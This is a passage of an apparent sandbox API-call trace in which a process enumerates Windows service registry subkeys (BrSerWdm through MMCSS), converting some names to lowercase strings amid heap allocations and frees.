(in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0258.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0258.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.975] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0258.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0258.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.976] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0258.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0258.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.976] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0258.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0258.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.976] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0258.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0258.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.977] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0258.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0258.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.977] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0258.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0258.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0258.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.977] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0258.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0258.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0258.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.977] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0258.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0258.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1cd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0258.978] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0258.978] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0258.978] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0258.978] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0258.978] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0258.978] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0258.978] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0258.978] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0258.978] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0258.979] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0258.979] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0258.979] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0258.979] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0258.979] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0258.979] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0258.979] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0258.979] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0258.979] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0258.979] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0258.979] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0258.979] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0258.980] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0258.980] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0258.980] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0258.980] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0258.980] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0258.980] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0258.980] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0258.980] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0258.980] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0258.980] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0258.980] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0258.980] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0258.981] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0258.981] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0258.981] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0258.981] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0258.981] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0258.981] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0258.981] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0258.981] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0258.981] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0258.981] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0258.981] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0258.981] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0258.981] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0258.982] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0258.982] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0258.982] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0258.982] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0258.982] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0258.982] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0258.982] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0258.982] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0258.982] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0258.982] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0258.982] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0258.982] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0258.983] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0258.983] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0258.983] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0258.983] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0258.983] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0258.983] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0258.983] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0258.983] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0258.983] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0258.983] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0258.983] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0258.984] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0258.984] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0258.984] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0258.984] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0258.984] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0258.984] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0258.984] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0258.984] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0258.984] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0258.984] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0258.984] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0258.984] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0258.984] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0258.985] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0258.985] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0258.985] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0258.985] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0258.985] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0258.985] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0258.985] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0258.985] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0258.985] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0258.985] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0258.985] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0258.986] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0258.986] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0258.986] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0258.986] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0258.986] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0258.986] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0258.986] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0258.986] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0258.986] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0258.986] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0258.986] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0258.986] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0258.986] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0258.987] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0258.987] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0258.987] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0258.987] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0258.987] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0258.987] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0258.987] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0258.987] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0258.987] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0258.987] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x2152850, 